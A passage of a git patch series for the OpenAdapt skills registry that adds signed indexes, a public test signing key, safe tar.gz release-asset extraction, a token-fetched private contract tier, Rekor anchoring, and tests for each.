fetch-depth: 0 + token: ${{ steps.release-app.outputs.token }} + - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + name: registry-signed + path: dist-registry/ + - name: Tag, release, and propose the signed index + env: + GH_TOKEN: ${{ steps.release-app.outputs.token }} + TAG: ${{ needs.build.outputs.tag }} + run: | + set -euo pipefail + (cd dist-registry && sha256sum --check --strict SHA256SUMS) + git -c user.name="openadapt-release[bot]" \ + -c user.email="openadapt-release[bot]@users.noreply.github.com" \ + tag -a "$TAG" "$GITHUB_SHA" -m "Skills registry $TAG" + git push origin "refs/tags/$TAG" + gh release create "$TAG" dist-registry/*.tar.gz dist-registry/index.json \ + dist-registry/SHA256SUMS --title "Skills registry $TAG" \ + --notes "Signed skills-registry index and bundles. See packages/flow/registry/README.md." + branch="registry/$TAG" + git switch -c "$branch" + cp dist-registry/index.json packages/flow/registry/index.json + git -c user.name="openadapt-release[bot]" \ + -c user.email="openadapt-release[bot]@users.noreply.github.com" \ + commit -am "registry: signed index for $TAG" + git push origin "refs/heads/$branch" + gh pr create --base main --head "$branch" \ + --title "registry: signed index for $TAG" \ + --body "The signed index the $TAG release published. Bundles are its release assets." diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md index d0581fada..b0562dc12 100644 --- a/packages/flow/docs/design/SKILLS_REGISTRY.md +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -123,17 +123,32 @@ AGPL entry is published. ## Decisions (review, 2026-10-28) -- **Signatures.** Each entry is signed with the Seals signing (Ed25519ph), and - the index is to be anchored in Rekor as Seals are. The registry signing key - and the first anchoring are maintainer actions; until then entries are - unsigned and `pull` needs `--allow-unsigned`. -- **Where it lives.** A static index in a public repository, with the bundles - as release assets. +- **Signatures.** Each entry is signed with the Seals signing (Ed25519ph). The + index is to be anchored in Rekor as Seals are, as a new record type (a + follow-up). The production key is a founder action: the release workflow + (`.github/workflows/release-registry.yml`) reads its seed only from the + REGISTRY_SIGNING_SEED secret of the protected `registry-signing` + environment, and only the public key is committed. Until then a TEST key, + whose seed is public and whose public key is flagged `test`, is accepted + only with `--allow-test-key`. +- **Where it lives.** The signed index stays in `packages/flow/registry/`. + Bundles are release assets on OpenAdaptAI/OpenAdapt under a `registry-*` + tag, published by the reviewed release workflow. An entry's `archive` pins + the asset's URL and sha256, and `pull` checks the archive, extracts only + regular files at safe paths and checks every file against the entry. - **Public and private tiers.** `source-policy.yaml` keeps per-system read-back recipes private. The public bundle carries the program and a minimal contract (app identity, record match keys, identity field, one check per typed value). The full contract (frame conditions, exact new set, - duplicate rules, fault-derived checks) and the fault suites come from a - private tier fetched with credentials. `verifier_score` publishes only the - counts and the private suite's sha256. The exact file split is with the - coordinator. + duplicate rules, value maps, SQL text and extra field paths) and the fault + suites come from a private tier fetched with credentials. An entry's + `full_contract` pins its URL and sha256. `skill qualify` fetches it with the + bearer token in `OPENADAPT_REGISTRY_TOKEN` (or the entry's `token_env`), + checks it against the signed entry, and keeps it beside the bundle, never + in it. Without a token it qualifies with the public minimal contract and + says so. `verifier_score` publishes only the counts and the private suite's + sha256. The index validator and a repository test refuse any private-tier + file (`verify.full.yaml`, `check_coverage.json`, fault, held-out and SPEC + files) in a public bundle. The benchmark contracts on synthetic fixtures + stay public as synthetic samples, without whole-database frame + configurations or extra field paths. diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index 5d7633828..74d5a2b82 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -54,6 +54,27 @@ class RegistryError(RuntimeError): #: anchored as Seals are). _ENTRY_DOMAIN = b"openadapt.registry-entry/v1\n" KEYS_FILE = Path(__file__).with_name("registry_keys.json") +#: The TEST key's seed: public on purpose, for tests and local seeding. Its +#: public half is flagged ``test`` in ``registry_keys.json``, and ``pull`` +#: accepts an entry it signed only with ``allow_test_key``. +TEST_KEY_ID = "openadapt-registry-test-1" +TEST_KEY_SEED = hashlib.sha256( + b"openadapt-registry-TEST-key: not secret, accepted only with --allow-test-key" +).digest() + +#: Files that belong to the private, credentialed tier and never to a public +#: bundle (source-policy.yaml: per-system oracle recipes and fault suites). +PRIVATE_FILE_NAMES = frozenset( + {"verify.full.yaml", "check_coverage.json", "faults.yaml", "SPEC.md", "WITNESS.md"} +) +PRIVATE_FILE_PREFIXES = ("heldout", "fault-brief", "rows") + + +def private_tier_file(rel: str) -> bool: + """Whether a bundle path names a private-tier file.""" + + name = Path(rel).name + return name in PRIVATE_FILE_NAMES or name.startswith(PRIVATE_FILE_PREFIXES) def entry_statement(raw: dict[str, Any]) -> bytes: @@ -79,11 +100,21 @@ def sign_entry(raw: dict[str, Any], seed: bytes, key_id: str) -> dict[str, str]: return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} -def trusted_keys() -> dict[str, bytes]: - """The registry's public keys, shipped with the package (never fetched).""" +def trusted_keys(*, allow_test_key: bool = False) -> dict[str, bytes]: + """The registry's public keys, shipped with the package (never fetched). + + A key flagged ``test`` is left out unless ``allow_test_key``. + """ data = json.loads(KEYS_FILE.read_text()) - return {kid: base64.b64decode(pub) for kid, pub in (data.get("keys") or {}).items()} + keys = {} + for kid, spec in (data.get("keys") or {}).items(): + if isinstance(spec, str): + spec = {"public": spec} + if spec.get("test") and not allow_test_key: + continue + keys[kid] = base64.b64decode(spec["public"]) + return keys def entry_signature_problem( @@ -98,7 +129,14 @@ def entry_signature_problem( return "the entry is not signed" key = keys.get(str(signature.get("key_id"))) if key is None: - return f"the entry is signed by an unknown key {signature.get('key_id')!r}" + hint = ( + " (the TEST key: pass --allow-test-key)" + if signature.get("key_id") == TEST_KEY_ID + else "" + ) + return ( + f"the entry is signed by an unknown key {signature.get('key_id')!r}{hint}" + ) try: sig = base64.b64decode(str(signature.get("ed25519ph", "")), validate=True) except ValueError: @@ -183,6 +221,18 @@ def validate_index(index: dict[str, Any]) -> list[Entry]: for rel in item.get("files") or {}: if rel.startswith("/") or ".." in Path(rel).parts: raise RegistryError(f"{wid}: unsafe path {rel!r}") + if private_tier_file(rel): + raise RegistryError( + f"{wid}: {rel!r} belongs to the private tier, never a public bundle" + ) + full = item.get("full_contract") + if full is not None: + if ( + not isinstance(full, dict) + or not full.get("url") + or not full.get("sha256") + ): + raise RegistryError(f"{wid}: full_contract needs a url and a sha256") contract = item.get("contract") if contract is not None and contract not in (item.get("files") or {}): raise RegistryError(f"{wid}: contract {contract!r} is not one of its files") @@ -235,6 +285,7 @@ def pull( overwrite: bool = False, keys: Optional[dict[str, bytes]] = None, allow_unsigned: bool = False, + allow_test_key: bool = False, ) -> Path: """Download and verify a bundle into ``out`` (default ``./``). @@ -247,7 +298,8 @@ def pull( if entry.status == "planned": raise RegistryError(f"{workflow_id} is planned and has no bundle yet") problem = entry_signature_problem( - entry.raw, trusted_keys() if keys is None else keys + entry.raw, + trusted_keys(allow_test_key=allow_test_key) if keys is None else keys, ) if problem is not None and not ( allow_unsigned and entry.raw.get("signature") is None @@ -262,12 +314,21 @@ def pull( if dest.exists() and not overwrite: raise RegistryError(f"{dest} exists; pass --force to replace it") base = _join(index_url, entry.raw["path"].rstrip("/") + "/") + archive = entry.raw.get("archive") with tempfile.TemporaryDirectory() as tmp: stage = Path(tmp) / "bundle" + unpacked = _unpack_archive(archive, Path(tmp)) if archive else None for rel, expected in sorted(entry.files.items()): - data = _read( - urljoin(base, rel) if base.startswith("http") else str(Path(base) / rel) - ) + if unpacked is not None: + if rel not in unpacked: + raise RegistryError(f"{rel} is missing from the archive") + data = unpacked[rel] + else: + data = _read( + urljoin(base, rel) + if base.startswith("http") + else str(Path(base) / rel) + ) actual = hashlib.sha256(data).hexdigest() if actual != expected: raise RegistryError(f"{rel}: sha256 {actual} does not match the index") @@ -292,6 +353,66 @@ def pull( return dest +def _unpack_archive(archive: Any, tmp: Path) -> dict[str, bytes]: + """The files of a bundle published as a release asset (``.tar.gz``). + + The signed entry pins the archive's sha256. Members must be regular files + at safe relative paths; links, devices, absolute paths and ``..`` are + refused. + """ + + import io + import tarfile + + if ( + not isinstance(archive, dict) + or not archive.get("url") + or not archive.get("sha256") + ): + raise RegistryError("archive needs a url and a sha256") + data = _read(str(archive["url"])) + if hashlib.sha256(data).hexdigest() != archive["sha256"]: + raise RegistryError("the archive's sha256 does not match the index") + out: dict[str, bytes] = {} + with tarfile.open(fileobj=io.BytesIO(data), mode="r:gz") as tar: + for member in tar.getmembers(): + name = member.name + if name.startswith("/") or ".." in Path(name).parts: + raise RegistryError(f"the archive has an unsafe path {name!r}") + if member.isdir(): + continue + if not member.isfile(): + raise RegistryError( + f"the archive member {name!r} is not a regular file" + ) + handle = tar.extractfile(member) + if handle is None: + raise RegistryError(f"the archive member {name!r} can't be read") + out[name] = handle.read() + if len(out[name]) > MAX_FILE_BYTES: + raise RegistryError(f"{name} is larger than {MAX_FILE_BYTES} bytes") + return out + + +def build_archive(bundle_dir: Path, out: Path) -> str: + """Write ``bundle_dir`` as a reproducible ``.tar.gz``; returns its sha256.""" + + import gzip + import io + import tarfile + + buf = io.BytesIO() + with tarfile.open(fileobj=buf, mode="w", format=tarfile.PAX_FORMAT) as tar: + for path in sorted(p for p in bundle_dir.rglob("*") if p.is_file()): + data = path.read_bytes() + info = tarfile.TarInfo(path.relative_to(bundle_dir).as_posix()) + info.size, info.mtime, info.mode = len(data), 0, 0o644 + tar.addfile(info, io.BytesIO(data)) + packed = gzip.compress(buf.getvalue(), mtime=0) + out.write_bytes(packed) + return hashlib.sha256(packed).hexdigest() + + def build_entry_files(bundle_dir: Path) -> dict[str, str]: """sha256 of every file in a bundle, for writing the index.""" return { @@ -334,6 +455,7 @@ def cmd_pull(args: Any) -> int: index_url=args.index, overwrite=args.force, allow_unsigned=getattr(args, "allow_unsigned", False), + allow_test_key=getattr(args, "allow_test_key", False), ) except RegistryError as exc: print(f"pull: {exc}", file=sys.stderr) @@ -372,6 +494,11 @@ def add_parser(sub: Any) -> None: "--force", action="store_true", help="Replace an existing destination" ) p.add_argument("--list", action="store_true", help="List available workflows") + p.add_argument( + "--allow-test-key", + action="store_true", + help="Take an entry signed by the public TEST key (tests and local seeding)", + ) p.add_argument( "--allow-unsigned", action="store_true", diff --git a/packages/flow/openadapt_flow/registry_keys.json b/packages/flow/openadapt_flow/registry_keys.json index 048035b79..07971355b 100644 --- a/packages/flow/openadapt_flow/registry_keys.json +++ b/packages/flow/openadapt_flow/registry_keys.json @@ -1,5 +1,10 @@ { "schema": "openadapt.registry-keys/v1", - "note": "Public keys that sign skills-registry entries. Empty until the registry signing key is published; until then pull needs --allow-unsigned.", - "keys": {} + "note": "Public keys that sign skills-registry entries. The production key's seed lives only in the protected REGISTRY_SIGNING_SEED secret of the registry release workflow. The TEST key's seed is public (openadapt_flow.registry.TEST_KEY_SEED); pull accepts it only with --allow-test-key.", + "keys": { + "openadapt-registry-test-1": { + "public": "faYJ38w9U5kf+qjZ3bSxvesGnC9UiHIqSJ4zku1z6FQ=", + "test": true + } + } } diff --git a/packages/flow/openadapt_flow/skills.py b/packages/flow/openadapt_flow/skills.py index 96758aac5..44356b30f 100644 --- a/packages/flow/openadapt_flow/skills.py +++ b/packages/flow/openadapt_flow/skills.py @@ -115,6 +115,7 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: "files": entry.files, "certification_expired": expired, "contract": raw.get("contract"), + "full_contract": raw.get("full_contract"), "contract_vars": raw.get("contract_vars") or [], "credentials": raw.get("credentials") or [], "qualified": None, @@ -265,6 +266,50 @@ def refuse_unqualified_skill( raise SystemExit(f"REFUSED: {refusal}") +#: Where the private tier's bearer token is read from by default. +DEFAULT_TOKEN_ENV = "OPENADAPT_REGISTRY_TOKEN" + + +def fetch_full_contract( + bundle_dir: Path, lock: dict[str, Any], *, env: Mapping[str, str] +) -> Optional[Path]: + """Fetch the private tier's full record check, if the entry has one. + + The signed entry pins its URL and sha256. It is fetched with a bearer + token from the environment and stored beside the bundle, never inside it + (``.private/verify.full.yaml``). None when the entry has no full + contract or no token is set: the public minimal contract is used then. + """ + + import hashlib + + full = lock.get("full_contract") + if not full: + return None + token = env.get(str(full.get("token_env") or DEFAULT_TOKEN_ENV)) + if not token: + return None + import httpx + + resp = httpx.get( + full["url"], + headers={"Authorization": f"Bearer {token}"}, + timeout=30.0, + follow_redirects=False, + ) + if resp.status_code != 200: + raise SkillError(f"the private record check returned HTTP {resp.status_code}") + digest = hashlib.sha256(resp.content).hexdigest() + if digest != full["sha256"]: + raise SkillError("the private record check does not match the signed entry") + private = bundle_dir.parent / f"{bundle_dir.name}.private" + private.mkdir(mode=0o700, exist_ok=True) + path = private / "verify.full.yaml" + path.write_bytes(resp.content) + path.chmod(0o600) + return path + + def qualify_skill( bundle_dir: Path | str, *, @@ -302,9 +347,19 @@ def qualify_skill( ) env = {**os.environ, **read_binding(bundle_dir)} shipped = contract is None - contract_path = ( - bundle_dir / lock["contract"] if contract is None else Path(contract) - ) + full_path = fetch_full_contract(bundle_dir, lock, env=env) if shipped else None + if shipped and full_path is None and lock.get("full_contract"): + token_env = lock["full_contract"].get("token_env") or DEFAULT_TOKEN_ENV + log( + f"The full record check is in the private tier (set {token_env}); " + "qualifying with the public minimal check." + ) + if contract is not None: + contract_path = Path(contract) + elif full_path is not None: + contract_path = full_path + else: + contract_path = bundle_dir / lock["contract"] config = load_verify_config(contract_path, env=env) if shipped and ( config.app.session is not None @@ -337,6 +392,9 @@ def qualify_skill( if workflow.manifest else None, "app_origin": config.app.origin, + "contract": "full" + if full_path is not None + else ("yours" if contract is not None else "minimal"), "evidence": str(out), } _write_json(bundle_dir / LOCK, lock) diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index 34e029cc7..ad7c6a2be 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -17,7 +17,15 @@ Each entry is signed (Ed25519ph, the form Rekor accepts) by a key whose public half ships with the package (`openadapt_flow/registry_keys.json`). `pull` checks the signature before it downloads anything. Until the registry key is published the index is unsigned, and `pull` takes an entry only with -`--allow-unsigned`. +`--allow-unsigned`. Entries signed by the public TEST key need +`--allow-test-key`. + +A bundle holds the program and a minimal record check. The full record check +and the fault suites are in a private tier: `skill qualify` fetches the full +check with the token in `OPENADAPT_REGISTRY_TOKEN` when the entry names one, +and otherwise qualifies with the minimal check. A bundle never holds +`verify.full.yaml`, `check_coverage.json` or a fault suite; the index +validator refuses them. A pulled skill doesn't run until it is qualified on your own instance. `pull` writes `skill.lock.json` beside the bundle and expires any certification it diff --git a/packages/flow/scripts/build_registry_index.py b/packages/flow/scripts/build_registry_index.py index 8adbe728f..94823900d 100644 --- a/packages/flow/scripts/build_registry_index.py +++ b/packages/flow/scripts/build_registry_index.py @@ -1,52 +1,98 @@ """Write registry/index.json from registry/sources.json and the bundle files. -With ``OPENADAPT_REGISTRY_SIGNING_SEED`` (the path of a file holding the -registry key's 32-byte Ed25519 seed, kept off this repository) and -``OPENADAPT_REGISTRY_KEY_ID``, every entry is signed. Without them the index is -unsigned, and ``pull`` takes it only with ``--allow-unsigned``. + python scripts/build_registry_index.py # write the committed index + python scripts/build_registry_index.py --check # fail when it is stale + python scripts/build_registry_index.py --archives DIR --asset-base URL --out PATH + python scripts/build_registry_index.py --sign PATH + +``--archives`` writes each bundle as a reproducible ``.tar.gz`` into DIR and +points its entry at ```` (the registry release's assets). +``--sign`` signs every entry of the index at PATH in place, with the seed in +the file named by ``OPENADAPT_REGISTRY_SIGNING_SEED`` and the key id in +``OPENADAPT_REGISTRY_KEY_ID``. Only the registry release workflow does that, +in its protected environment; the seed never lives in this repository. """ from __future__ import annotations +import argparse import json import os import sys from pathlib import Path +from typing import Optional ROOT = Path(__file__).resolve().parents[1] sys.path.insert(0, str(ROOT)) from openadapt_flow.registry import ( # noqa: E402 + build_archive, build_entry_files, sign_entry, validate_index, ) -def build() -> dict: +def build(archives: Optional[Path] = None, asset_base: Optional[str] = None) -> dict: sources = json.loads((ROOT / "registry/sources.json").read_text()) for item in sources["workflows"]: bundle = ROOT / "registry" / item["path"] item["files"] = build_entry_files(bundle) if bundle.is_dir() else {} + if archives is not None and asset_base and bundle.is_dir(): + name = item["id"].replace("/", "-") + ( + f"-{item['version']}" if item.get("version") else "" + ) + asset = archives / f"{name}.tar.gz" + item["archive"] = { + "url": asset_base.rstrip("/") + "/" + asset.name, + "sha256": build_archive(bundle, asset), + } sources["schema_version"] = 1 validate_index(sources) - seed_path = os.environ.get("OPENADAPT_REGISTRY_SIGNING_SEED") - if seed_path: - seed = Path(seed_path).read_bytes() - key_id = os.environ["OPENADAPT_REGISTRY_KEY_ID"] - for item in sources["workflows"]: - if item["status"] != "planned": - item["signature"] = sign_entry(item, seed, key_id) return sources +def sign(path: Path) -> None: + seed = Path(os.environ["OPENADAPT_REGISTRY_SIGNING_SEED"]).read_bytes() + key_id = os.environ["OPENADAPT_REGISTRY_KEY_ID"] + index = json.loads(path.read_text()) + for item in index["workflows"]: + if item["status"] != "planned": + item.pop("signature", None) + item["signature"] = sign_entry(item, seed, key_id) + validate_index(index) + path.write_text(json.dumps(index, indent=2, sort_keys=True) + "\n") + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("--check", action="store_true") + parser.add_argument("--archives", type=Path) + parser.add_argument("--asset-base") + parser.add_argument("--out", type=Path) + parser.add_argument("--sign", type=Path) + args = parser.parse_args() + if args.sign: + sign(args.sign) + return 0 + if args.archives: + args.archives.mkdir(parents=True, exist_ok=True) + out = args.out or ROOT / "registry/index.json" + index = build(args.archives, args.asset_base) + text = json.dumps(index, indent=2, sort_keys=True) + "\n" + if args.check: + committed = json.loads(out.read_text()) + # The release workflow adds each entry's signature and archive. + for item in committed["workflows"]: + item.pop("signature", None) + item.pop("archive", None) + if committed != index: + print("registry/index.json is stale; run scripts/build_registry_index.py") + return 1 + return 0 + out.write_text(text) + return 0 + + if __name__ == "__main__": - out = ROOT / "registry/index.json" - text = json.dumps(build(), indent=2, sort_keys=True) + "\n" - if "--check" in sys.argv: - if out.read_text() != text: - sys.exit( - "registry/index.json is stale; run scripts/build_registry_index.py" - ) - else: - out.write_text(text) + raise SystemExit(main()) diff --git a/packages/flow/tests/test_registry.py b/packages/flow/tests/test_registry.py index 8674af79a..5d0f769ee 100644 --- a/packages/flow/tests/test_registry.py +++ b/packages/flow/tests/test_registry.py @@ -24,6 +24,10 @@ def test_committed_index_is_current() -> None: build = runpy.run_path(str(ROOT / "scripts/build_registry_index.py"))["build"] committed = json.loads((ROOT / "registry/index.json").read_text()) + # The release workflow adds each entry's signature and archive. + for item in committed["workflows"]: + item.pop("signature", None) + item.pop("archive", None) assert committed == build() diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py index 92273534f..1482d922f 100644 --- a/packages/flow/tests/test_skills_registry.py +++ b/packages/flow/tests/test_skills_registry.py @@ -404,3 +404,194 @@ def test_a_skill_without_a_contract_takes_the_users_own(tmp_path, monkeypatch): ) # The user's own contract may name their own hooks. assert seen["origin"] == "https://emr.example.org" + + +# -- the public bundle and the private tier --------------------------------------------- + + +@pytest.mark.parametrize( + "name", + [ + "verify.full.yaml", + "check_coverage.json", + "faults.yaml", + "heldout2.yaml", + "SPEC.md", + ], +) +def test_a_public_bundle_never_lists_a_private_tier_file(name): + item = {"id": "a/b", "status": "example", "files": {name: "0" * 64}} + with pytest.raises(registry.RegistryError, match="private tier"): + registry.validate_index({"workflows": [item]}) + + +def test_no_registry_bundle_in_the_repo_holds_a_private_tier_file(): + found = [ + p.relative_to(ROOT).as_posix() + for p in (ROOT / "registry").rglob("*") + if p.is_file() and registry.private_tier_file(p.name) + ] + assert found == [] + + +def _with_full_contract(tmp_path, body: bytes): + import hashlib + + index = _registry(tmp_path) + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["full_contract"] = { + "url": "https://private.example/registry/openemr/verify.full.yaml", + "sha256": hashlib.sha256(body).hexdigest(), + "token_env": "MY_REGISTRY_TOKEN", + } + index.write_text(json.dumps(data)) + dest = registry.pull( + "openemr/new-referral", + tmp_path / "skill", + index_url=str(index), + allow_unsigned=True, + ) + _bind_all(dest, tmp_path) + return dest + + +def _serve(monkeypatch, body: bytes, seen: dict): + import httpx + + def get(url, headers=None, **kw): + seen.update(url=url, auth=(headers or {}).get("Authorization")) + return SimpleNamespace(status_code=200, content=body) + + monkeypatch.setattr(httpx, "get", get) + + +def test_without_a_token_the_minimal_contract_is_used(tmp_path, monkeypatch): + full = CONTRACT.replace("name: Demo", "name: Demo full").encode() + dest = _with_full_contract(tmp_path, full) + monkeypatch.delenv("MY_REGISTRY_TOKEN", raising=False) + lines, seen = [], {} + skills.qualify_skill( + dest, + certify="p", + log=lines.append, + run=lambda bundle, config, **kw: seen.setdefault("name", config.app.name), + ) + assert seen["name"] == "Demo" + assert any("private tier" in line for line in lines) + + +def test_the_full_contract_is_fetched_checked_and_kept_outside_the_bundle( + tmp_path, monkeypatch +): + full = CONTRACT.replace("name: Demo", "name: Demo full").encode() + dest = _with_full_contract(tmp_path, full) + monkeypatch.setenv("MY_REGISTRY_TOKEN", "t0k3n") + served, seen = {}, {} + _serve(monkeypatch, full, served) + skills.qualify_skill( + dest, + certify="p", + run=lambda bundle, config, **kw: seen.setdefault("name", config.app.name), + ) + assert seen["name"] == "Demo full" + assert served["auth"] == "Bearer t0k3n" + assert not (dest / "verify.full.yaml").exists() + stored = tmp_path / "skill.private" / "verify.full.yaml" + assert stored.read_bytes() == full and stored.stat().st_mode & 0o077 == 0 + + +def test_a_full_contract_that_does_not_match_the_signed_entry_is_refused( + tmp_path, monkeypatch +): + dest = _with_full_contract(tmp_path, b"the signed one") + monkeypatch.setenv("MY_REGISTRY_TOKEN", "t0k3n") + _serve(monkeypatch, b"something else", {}) + with pytest.raises(skills.SkillError, match="does not match the signed entry"): + skills.qualify_skill(dest, certify="p", run=lambda *a, **k: None) + + +def test_a_full_contract_needs_a_url_and_a_digest(): + item = { + "id": "a/b", + "status": "example", + "files": {"x": "0"}, + "full_contract": {"url": "u"}, + } + with pytest.raises(registry.RegistryError, match="full_contract needs"): + registry.validate_index({"workflows": [item]}) + + +# -- the TEST key ------------------------------------------------------------------------ + + +def test_the_test_key_needs_allow_test_key(tmp_path): + index = _registry(tmp_path) + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["signature"] = registry.sign_entry( + item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID + ) + index.write_text(json.dumps(data)) + with pytest.raises(registry.RegistryError, match="allow-test-key"): + registry.pull("openemr/new-referral", tmp_path / "a", index_url=str(index)) + dest = registry.pull( + "openemr/new-referral", + tmp_path / "b", + index_url=str(index), + allow_test_key=True, + ) + from openadapt_flow.ir import Workflow + + assert Workflow.load(dest).registry.signed_by == registry.TEST_KEY_ID + + +# -- bundles as release assets -------------------------------------------------------------- + + +def _with_archive(tmp_path, *, tamper=None): + index = _registry(tmp_path) + bundle = index.parent / "bundles/openemr/new-referral" + asset = tmp_path / "openemr-new-referral-1.0.0.tar.gz" + digest = registry.build_archive(bundle, asset) + if tamper == "bytes": + asset.write_bytes(asset.read_bytes() + b"x") + shutil.rmtree(bundle) # nothing left to fetch file by file + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["archive"] = {"url": str(asset), "sha256": digest} + index.write_text(json.dumps(data)) + return index + + +def test_a_bundle_can_come_from_a_release_asset(tmp_path): + index = _with_archive(tmp_path) + dest = registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_unsigned=True, + ) + assert (dest / "workflow.json").is_file() + + +def test_a_changed_archive_is_refused(tmp_path): + index = _with_archive(tmp_path, tamper="bytes") + with pytest.raises(registry.RegistryError, match="archive's sha256"): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_unsigned=True, + ) + assert not (tmp_path / "s").exists() + + +def test_the_archive_is_reproducible(tmp_path): + bundle = ROOT / "registry/bundles/openemr/new-referral" + a = registry.build_archive(bundle, tmp_path / "a.tar.gz") + b = registry.build_archive(bundle, tmp_path / "b.tar.gz") + assert a == b From 65341fcdff407df343a514793c340f101122e102 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 14:40:54 -0400 Subject: [PATCH 3/8] Skills registry: anchor the signed index in Rekor; pull verifies the anchor A new seal_anchor record type (registry_index_sha256) anchors the signed index with the registry key, as Seals are anchored. The release workflow anchors once per release in its protected environment and publishes index.anchor.json beside the index; pull verifies a published anchor offline (it must name this exact index and be signed by a registry key) before it downloads anything. Tested against the fake Rekor log the Seals tests use. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/release-registry.yml | 27 +++++- packages/flow/docs/design/SKILLS_REGISTRY.md | 5 +- packages/flow/openadapt_flow/registry.py | 95 +++++++++++++++++++- packages/flow/openadapt_flow/seal_anchor.py | 2 + packages/flow/registry/README.md | 13 +++ packages/flow/tests/test_skills_registry.py | 69 ++++++++++++++ 6 files changed, 203 insertions(+), 8 deletions(-) diff --git a/.github/workflows/release-registry.yml b/.github/workflows/release-registry.yml index d4574f83e..ad2fbd74f 100644 --- a/.github/workflows/release-registry.yml +++ b/.github/workflows/release-registry.yml @@ -10,7 +10,9 @@ # registry key (Ed25519ph, the form Rekor accepts) and checks each signature # against the public keys shipped in openadapt_flow/registry_keys.json, so a # seed that doesn't match a published key fails the run. The TEST key is -# refused here. +# refused here. It then anchors the signed index in Rekor (a public +# transparency log): the anchor names only the index's SHA-256 and the +# registry's public key. # - publish-github tags the commit with the openadapt-release App and # publishes an immutable GitHub Release with the archives and the signed # index, then opens a pull request that updates @@ -137,7 +139,23 @@ jobs: raise SystemExit(f"{item['id']}: {problem}") print(f"{len(index['workflows'])} entries signed and checked") PY - (cd dist-registry && sha256sum -- *.tar.gz index.json > SHA256SUMS) + - name: Anchor the signed index in Rekor + env: + REGISTRY_SIGNING_SEED: ${{ secrets.REGISTRY_SIGNING_SEED }} + run: | + set -euo pipefail + umask 077 + seed="$RUNNER_TEMP/registry-seed" + printf '%s' "$REGISTRY_SIGNING_SEED" | base64 --decode > "$seed" + python - "$seed" <<'PY' + import sys + from pathlib import Path + from openadapt_flow import registry + seed = Path(sys.argv[1]).read_bytes() + print(registry.anchor_index(Path("dist-registry/index.json"), seed)) + PY + rm -f "$seed" + (cd dist-registry && sha256sum -- *.tar.gz index.json index.anchor.json > SHA256SUMS) - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 with: name: registry-signed @@ -195,11 +213,12 @@ jobs: tag -a "$TAG" "$GITHUB_SHA" -m "Skills registry $TAG" git push origin "refs/tags/$TAG" gh release create "$TAG" dist-registry/*.tar.gz dist-registry/index.json \ - dist-registry/SHA256SUMS --title "Skills registry $TAG" \ + dist-registry/index.anchor.json dist-registry/SHA256SUMS \ + --title "Skills registry $TAG" \ --notes "Signed skills-registry index and bundles. See packages/flow/registry/README.md." branch="registry/$TAG" git switch -c "$branch" - cp dist-registry/index.json packages/flow/registry/index.json + cp dist-registry/index.json dist-registry/index.anchor.json packages/flow/registry/ git -c user.name="openadapt-release[bot]" \ -c user.email="openadapt-release[bot]@users.noreply.github.com" \ commit -am "registry: signed index for $TAG" diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md index b0562dc12..4f3f86cce 100644 --- a/packages/flow/docs/design/SKILLS_REGISTRY.md +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -124,8 +124,9 @@ AGPL entry is published. ## Decisions (review, 2026-10-28) - **Signatures.** Each entry is signed with the Seals signing (Ed25519ph). The - index is to be anchored in Rekor as Seals are, as a new record type (a - follow-up). The production key is a founder action: the release workflow + release workflow anchors the signed index in Rekor as Seals are (record + type `registry_index_sha256`), and `pull` verifies a published anchor + offline. The production key is a founder action: the release workflow (`.github/workflows/release-registry.yml`) reads its seed only from the REGISTRY_SIGNING_SEED secret of the protected `registry-signing` environment, and only the public key is committed. Until then a TEST key, diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index 74d5a2b82..347e32520 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -100,6 +100,81 @@ def sign_entry(raw: dict[str, Any], seed: bytes, key_id: str) -> dict[str, str]: return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} +#: The index's Rekor anchor, published beside it (``index.anchor.json``). +ANCHOR_NAME = "index.anchor.json" + + +def index_digest(index: dict[str, Any]) -> str: + """SHA-256 of the canonical index, the record its Rekor anchor names.""" + + body = {k: v for k, v in index.items() if k != "anchor"} + return hashlib.sha256( + json.dumps( + body, sort_keys=True, separators=(",", ":"), ensure_ascii=False + ).encode("utf-8") + ).hexdigest() + + +def anchor_index( + index_path: Path, + seed: bytes, + *, + log_keys: Optional[Any] = None, + submit: Optional[Any] = None, + env: Optional[Any] = None, +) -> Path: + """Anchor the signed index in Rekor with the registry key; write the anchor. + + Contacts the transparency log: the release workflow does this once per + registry release, in its protected environment. + """ + + from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey + + from openadapt_flow.seal_anchor import anchor_record, submit_hashedrekord + from openadapt_flow.seal_keys import SoftwareSigner + + signer = SoftwareSigner(Ed25519PrivateKey.from_private_bytes(seed), "file") + out = index_path.with_name(ANCHOR_NAME) + anchor_record( + {"registry_index_sha256": 